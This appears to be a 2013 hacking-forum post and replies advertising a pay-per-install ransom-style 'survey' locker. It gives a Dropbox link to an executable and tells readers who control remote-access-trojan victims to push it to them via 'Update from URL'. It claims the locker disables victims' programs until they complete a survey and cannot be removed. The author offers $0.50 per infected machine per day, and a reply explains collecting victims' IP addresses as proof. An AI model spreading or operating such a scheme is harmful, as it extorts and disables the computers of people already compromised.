WARNING: THIS IS NOT YOUR TYPICAL GUIDE. IT WILL EARN YOU MONEY AND TAKES 3 SECONDS.

Complete Survey Destroyer

1. Download the [Bot Products Survey tool](#):

<https://www.dropbox.com/s/ovtck74qon3q5k5/survey.exe?dl=1>

2. If you have them on a RAT, simply update them from that URL. Right click => Update from URL => <https://www.dropbox.com/s/ovtck74qon3q5k5/survey.exe?dl=1>

3. Laugh as all their programs are unusable until they complete the survey. They will have 2 warnings until they are permanently disabled. You are still able to RAT them/ do whatever you want to do. The tool is impossible to botkill, so you have no worries. PM me with a list of the bots you infected and I'll pay you \$0.5 per survey per bot, per day (they must finish the survey on startup). Payment will be with PayPal and within 6 hours maximum.

It's easy, takes 2 seconds and you make \$0.50 per bot, per day. You have nothing to lose!

Basically they run the file and will have to complete a survey to unlock their PC. I will pay you for every run.

How can u know that i'm spreading ur program?!

~HF~ - July 23, 2013, 4:25 pm

Basically on every slave you have it tells you there ips and you copy snd paste every slaves ip that u download the file onto and give it to him and he will check if any of them ips done a survey
